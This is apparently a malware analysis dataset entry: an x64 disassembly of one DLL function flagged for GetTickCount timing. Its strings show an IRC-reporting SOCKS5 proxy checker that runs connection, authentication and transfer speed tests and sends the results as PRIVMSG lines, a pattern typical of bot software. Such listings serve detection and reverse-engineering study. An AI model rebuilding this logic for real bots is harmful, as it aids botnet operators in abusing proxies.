Function at 0x180037184
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov rax, rsp
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xae8
movaps xmmword [rax - 0x58], xmm6
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0xac0], rax
mov rax, qword [rsp + 0xb50]
mov rbp, rdx
mov rdx, qword [rsp + 0xb68]
mov r13, rcx
mov rcx, qword [rsp + 0xb58]
movzx r12d, r9w
mov qword [rsp + 0x60], rdx
mov rbx, r8
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x58], rcx
test r8, r8
je 0x180037d41
mov r15d, dword [rsp + 0xb60]
test r15d, r15d
je 0x18003720c
test rax, rax
je 0x180037d41
test rcx, rcx
je 0x180037d41
lea rcx, [rsp + 0x4a1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x4a0], 0
call fcn.180052810
lea rcx, [rsp + 0x4a0]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
mov rcx, rbx
xor esi, esi
mov rdi, rbx
call qword [0x18009af40]
lea r14d, [rsi + 1]
cmp eax, 0xffffffff
jne 0x180037263
mov rcx, rbx
call fcn.180004a54
mov esi, r14d
mov rdi, rax
lea rcx, [rsp + 0x4a0]
test rdi, rdi
jne 0x1800372b4
mov edx, 0x3ff
test rbp, rbp
jne 0x18003728b
lea r8, str._r_nFail_To_Resolve__s_r_n_r_n
mov r9, rbx
call fcn.1800528fc
jmp 0x18003729f
lea r8, str.PRIVMSG__s_:Fail_To_Resolve__s_r_n
mov r9, rbp
mov qword [rsp + 0x20], rbx
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
jmp 0x180037d43
movzx eax, r12w
test rbp, rbp
jne 0x180037301
mov r9, rbx
test esi, esi
je 0x1800372e7
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdi
mov edi, 0x3ff
lea r8, str._r_nAbout_To_Test__s:_d_____s:_d_r_n
mov rdx, rdi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
jmp 0x18003734d
mov edi, 0x3ff
lea r8, str._r_nAbout_To_Test__s:_d_r_n
mov dword [rsp + 0x20], eax
mov rdx, rdi
call fcn.1800528fc
jmp 0x18003734d
mov r9, rbp
test esi, esi
je 0x180037330
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
mov edi, 0x3ff
lea r8, str.PRIVMSG__s_:About_To_Test__s:_d_____s:_d_r_n_r_n
mov qword [rsp + 0x20], rbx
mov rdx, rdi
call fcn.1800528fc
jmp 0x18003734d
mov dword [rsp + 0x28], eax
mov edi, 0x3ff
lea r8, str.PRIVMSG__s_:About_To_Test__s:_d_r_n_r_n
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
xor esi, esi
cmp rbp, rsi
je 0x180037389
lea ecx, [rsi + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.PRIVMSG__s_:Test_1:_ICMP_Echo_Reply_Test:_r_n
lea rcx, [rsp + 0x4a0]
mov r9, rbp
mov rdx, rdi
call fcn.1800528fc
jmp 0x1800373a0
lea r8, str._r_nTest_1:_ICMP_Echo_Reply_Test:_r_n
lea rcx, [rsp + 0x4a0]
mov rdx, rdi
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
cmp rbp, rsi
je 0x1800373c0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x9b1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x9b0], sil
call fcn.180052810
lea rdx, [rsp + 0x9b0]
mov r8d, 0x104
mov rcx, rbx
call fcn.1800078c4
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x180037412
lea rdx, [rsp + 0x9b0]
mov r8, rdi
call fcn.180052a80
jmp 0x180037431
lea rax, [rsp + 0x9b0]
lea r8, str.PRIVMSG__s_:_s
mov r9, rbp
mov rdx, rdi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
mov rdx, rdi
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x18003745f
lea r8, str.Test_2:_Login_Speed_Test:_r_n
call fcn.1800528fc
jmp 0x18003746e
lea r8, str.PRIVMSG__s_:Test_2:_Login_Speed_Test:_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
cmp rbp, rsi
je 0x18003748e
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [0x18009af40]
mov rcx, rbx
cmp eax, 0xffffffff
jne 0x1800374b0
call fcn.180004a54
cmp rax, rsi
je 0x180037d04
mov rcx, rax
call qword [0x18009af40]
movzx ecx, r12w
mov dword [rsp + 0x494], eax
call qword [0x18009ad20]
mov ebx, 2
mov word [rsp + 0x492], ax
mov word [rsp + 0x490], bx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor r8d, r8d
mov edx, r14d
mov ecx, ebx
mov edi, eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x50], 8
mov dword [rsp + 0x54], esi
mov dword [rsp + 0x44], r14d
call qword [0x18009ad68]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x18003753a
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x18003752e
lea r8, str.Fail_To_Create_Socket_r_n_r_n
jmp 0x180037d1b
lea r8, str.PRIVMSG__s_:Fail_To_Create_Socket
jmp 0x180037d29
lea r8, [rsp + 0x44]
mov edx, 0x8004667e
mov rcx, rax
mov dword [rsp + 0x44], r14d
call qword [0x18009add8]
cmp eax, 0xffffffff
jne 0x1800375a4
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x180037577
lea r8, str.Fail_To_Set_Socket_To_Non_Blocking_Mode_r_n_r_n
call fcn.1800528fc
jmp 0x180037586
lea r8, str.PRIVMSG__s_:Fail_To_Set_Socket_To_Non_Blocking_Mode_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
mov rcx, r12
call qword [0x180099c60]
jmp 0x180037d41
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, [rsp + 0x490]
mov r8d, SQLNumResultCols
mov rcx, r12
mov ebx, eax
call qword [0x18009adb8]
cmp eax, 0xffffffff
jne 0x1800376b9
call qword [0x18009ad70]
cmp eax, 0x2733
je 0x180037603
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x1800375f7
lea r8, str.Fail_To_Connect_To_Remote_Proxy_r_n_r_n
jmp 0x180037570
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_Remote_Proxy_r_n
jmp 0x18003757e
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x280]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x288], r12
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x280], r14d
mov qword [rsp + 0x78], r12
mov dword [rsp + 0x70], r14d
call qword [0x18009ad60]
lea rdx, [rsp + 0x70]
mov rcx, r12
call qword [0x180097628]
cmp eax, esi
je 0x18003767a
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x18003766e
lea r8, str.Fail_To_Connect_To_Remote_Proxy__r_n_r_n
jmp 0x180037570
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_Remote_Proxy__r_n
jmp 0x18003757e
lea rdx, [rsp + 0x280]
mov rcx, r12
call qword [0x180097628]
cmp eax, esi
jne 0x1800376b9
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x1800376ad
lea r8, str.Fail_To_Connect_To_Remote_Proxy._r_n_r_n
jmp 0x180037570
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_Remote_Proxy._r_n
jmp 0x18003757e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
pxor xmm6, xmm6
lea r8, [rsp + 0x44]
sub eax, ebx
mov edx, 0x8004667e
mov rcx, r12
mov dword [rsp + 0x44], esi
cvtsi2ss xmm6, rax
divss xmm6, dword [0x18006bbd0]
call qword [0x18009add8]
mov r8d, 3
mov rcx, r12
cmp r15d, esi
jne 0x180037731
lea rdx, [0x18006ba28]
call fcn.180005c00
cmp eax, esi
jne 0x18003773a
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x180037725
lea r8, str.Fail_To_Send_The_First_3_Bytes_r_n_r_n
jmp 0x180037570
lea r8, str.PRIVMSG__s_:Fail_To_Send_The_First_3_Bytes_r_n
jmp 0x18003757e
lea rdx, [0x18006ba34]
jmp 0x1800376fe
mov edx, 6
mov rcx, r12
call fcn.180005d6c
cmp eax, esi
je 0x180037cda
cmp eax, 0xffffffff
je 0x180037cda
mov ebx, 0x103
lea rcx, [rsp + 0x8a1]
xor edx, edx
mov r8, rbx
mov byte [rsp + 0x8a0], sil
call fcn.180052810
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x8a0]
xor edx, edx
call fcn.180052810
lea rdx, [rsp + 0x8a0]
xor r9d, r9d
mov r8d, ebx
mov rcx, r12
call qword [0x180099c98]
cmp eax, esi
jg 0x1800377cf
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x1800377c3
lea r8, str.Fail_To_Receive_Data_r_n_r_n
jmp 0x180037570
lea r8, str.PRIVMSG__s_:Fail_To_Receive_Data_r_n
jmp 0x18003757e
cmp r15d, esi
jne 0x180037937
cmp byte [rsp + 0x8a0], 5
jne 0x18003790d
cmp byte [rsp + 0x8a1], sil
jne 0x18003790d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movaps xmm3, xmm6
mov rdx, rbp
sub eax, edi
mov rcx, r13
pxor xmm2, xmm2
cvtsi2ss xmm2, rax
divss xmm2, dword [0x18006bbd0]
call fcn.18001c1a4
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x18003783b
lea r8, str.Test_3:_Out_Bound_Data_Transfer_Test_Send_Data_:_r_n
call fcn.1800528fc
jmp 0x18003784a
lea r8, str.PRIVMSG__s_:Test_3:_Out_Bound_Data_Transfer_Test_Send_Data_:_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
cmp rbp, rsi
je 0x18003786a
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xffff
lea r9, [rsp + 0x40]
mov ebx, 0x2710
mov edi, 4
mov r8d, 0x1006
mov rcx, r12
mov edx, esi
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x20], edi
call qword [0x18009aee0]
lea r9, [rsp + 0x40]
mov r8d, 0x1005
mov edx, esi
mov rcx, r12
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x20], edi
call qword [0x18009aee0]
mov r8, rbp
mov rdx, r12
mov rcx, r13
call fcn.18001ba84
test eax, eax
je 0x180037ccc
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x1800378eb
lea r8, str.Test_4:_In_Bound_Data_Transfer_Test_Receive_Data_:_r_n
call fcn.1800528fc
jmp 0x1800378fa
lea r8, str.PRIVMSG__s_:Test_4:_In_Bound_Data_Transfer_Test_Receive_Data_:_r_n
mov r9, rbp
call fcn.1800528fc
mov r8, rbp
mov rdx, r12
mov rcx, r13
call fcn.18001b708
jmp 0x180037ccc
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x18003792b
lea r8, str.The_Remote_Proxy_Probably_Doesnt_Support_Anonymous_Method_r_n_r_n
jmp 0x180037ca3
lea r8, str.PRIVMSG__s_:The_Remote_Proxy_Probably_Doesnt_Support_Anonymous_Method_r_n
jmp 0x180037cb1
cmp byte [rsp + 0x8a0], 5
jne 0x180037c8a
cmp byte [rsp + 0x8a1], 2
jne 0x180037c8a
mov r15, qword [rsp + 0x68]
mov rcx, r15
call fcn.1800529c0
mov rcx, qword [rsp + 0x58]
mov rsi, rax
call fcn.1800529c0
lea rcx, [rsp + 0x8a0]
xor edx, edx
mov r8d, 0x104
mov rdi, rax
call fcn.180052810
movzx ebx, si
lea rcx, [rsp + 0x8a2]
mov r8, rbx
mov rdx, r15
mov byte [rsp + 0x8a0], r14b
mov byte [rsp + 0x8a1], sil
call fcn.180053da0
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + rbx + 0x8a3]
movzx r8d, di
mov byte [rsp + rbx + 0x8a2], dil
call fcn.180053da0
movzx r11d, di
movzx eax, si
lea rdx, [rsp + 0x8a0]
lea r8d, [r11 + rax + 3]
mov rcx, r12
call fcn.180005c00
test eax, eax
jne 0x180037a20
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x180037a09
lea r8, str.Fail_To_Send_The_Auth_Data_r_n_r_n
call fcn.1800528fc
jmp 0x180037a18
lea r8, str.PRIVMSG__s_:Fail_To_Send_The_Auth_Data_r_n
mov r9, rbp
call fcn.1800528fc
xor r14d, r14d
jmp 0x180037cbc
mov edx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov rcx, r12
call fcn.180005d6c
test eax, eax
je 0x180037c60
cmp eax, 0xffffffff
je 0x180037c60
lea rcx, [rsp + 0x8a0]
xor edx, edx
mov r8d, 0x104
call fcn.180052810
lea rdx, [rsp + 0x8a0]
xor r9d, r9d
mov r8d, 0x103
mov rcx, r12
call qword [0x180099c98]
test eax, eax
jg 0x180037a9b
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x180037a8f
lea r8, str.Fail_To_Receive_Data_r_n_r_n
jmp 0x180037a02
lea r8, str.PRIVMSG__s_:Fail_To_Receive_Data_r_n
jmp 0x180037a10
cmp byte [rsp + 0x8a1], 0
je 0x180037acf
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x180037ac3
lea r8, str.Fail_To_Auth_r_n_r_n
jmp 0x180037a02
lea r8, str.PRIVMSG__s_:Fail_To_Auth_r_n
jmp 0x180037a10
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movaps xmm3, xmm6
mov rdx, rbp
sub eax, dword [rsp + 0x40]
mov rcx, r13
pxor xmm2, xmm2
cvtsi2ss xmm2, rax
divss xmm2, dword [0x18006bbd0]
call fcn.18001c1a4
mov r15d, 0x3ff
lea rcx, [rsp + 0x4a0]
mov rdx, r15
test rbp, rbp
jne 0x180037b1c
lea r8, str.Test_3:_Out_Bound_Data_Transfer_Test_Send_Data_:_r_n
call fcn.1800528fc
jmp 0x180037b2b
lea r8, str.PRIVMSG__s_:Test_3:_Out_Bound_Data_Transfer_Test_Send_Data_:_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
test rbp, rbp
je 0x180037b4b
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xffff
lea r9, [rsp + 0x48]
mov ebx, 0x2710
mov edi, 4
mov r8d, 0x1006
mov rcx, r12
mov edx, esi
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x20], edi
call qword [0x18009aee0]
lea r9, [rsp + 0x48]
mov r8d, 0x1005
mov edx, esi
mov rcx, r12
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x20], edi
call qword [0x18009aee0]
mov r8, rbp
mov rdx, r12
mov rcx, r13
call fcn.18001ba84
test eax, eax
je 0x180037bf3
mov rdx, r15
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x180037bc6
lea r8, str.Test_4:_In_Bound_Data_Transfer_Test_Receive_Data_:_r_n
call fcn.1800528fc
jmp 0x180037bd5
lea r8, str.PRIVMSG__s_:Test_4:_In_Bound_Data_Transfer_Test_Receive_Data_:_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
mov r8, rbp
mov rdx, r12
mov rcx, r13
call fcn.18001b708
mov rcx, r12
call qword [0x180099c60]
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x180037cd5
mov rdx, r15
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x180037c28
lea r8, str.Test_5:_Proxy_To_Target_Speed_Test:_r_n
call fcn.1800528fc
jmp 0x180037c37
lea r8, str.PRIVMSG__s_:Test_5:_Proxy_To_Target_Speed_Test:_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
movzx r9d, word [rsp + 0xb70]
mov r8, rbx
mov rdx, rbp
mov rcx, r13
call fcn.18001bebc
jmp 0x180037cd5
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
test rbp, rbp
jne 0x180037c7e
lea r8, str.Socket_Error_Or_Time_Out_r_n_r_n
jmp 0x180037a02
lea r8, str.PRIVMSG__s_:Socket_Error_Or_Time_Out_r_n
jmp 0x180037a10
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x180037caa
lea r8, str.The_Remote_Proxy_Probably_Doesnt_Support_User_Pass_Method_r_n_r_n
call fcn.1800528fc
jmp 0x180037cb9
lea r8, str.PRIVMSG__s_:The_Remote_Proxy_Probably_Doesnt_Support_User_Pass_Method_r_n
mov r9, rbp
call fcn.1800528fc
mov r14d, esi
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
mov rcx, r12
call qword [0x180099c60]
mov eax, r14d
jmp 0x180037d43
mov edx, 0x3ff
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x180037cf8
lea r8, str.Socket_Error_Or_Time_Out_r_n_r_n
jmp 0x180037570
lea r8, str.PRIVMSG__s_:Socket_Error_Or_Time_Out_r_n
jmp 0x18003757e
mov rdx, rdi
lea rcx, [rsp + 0x4a0]
cmp rbp, rsi
jne 0x180037d22
lea r8, str.Invalid_Host_Name_r_n_r_n
call fcn.1800528fc
jmp 0x180037d31
lea r8, str.PRIVMSG__s_:Invalid_Host_Name_r_n
mov r9, rbp
call fcn.1800528fc
lea rdx, [rsp + 0x4a0]
mov rcx, r13
call fcn.180012d7c
xor eax, eax
mov rcx, qword [rsp + 0xac0]
xor rcx, rsp
call fcn.1800527e0
movaps xmm6, xmmword [rsp + 0xad0]
add rsp, 0xae8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret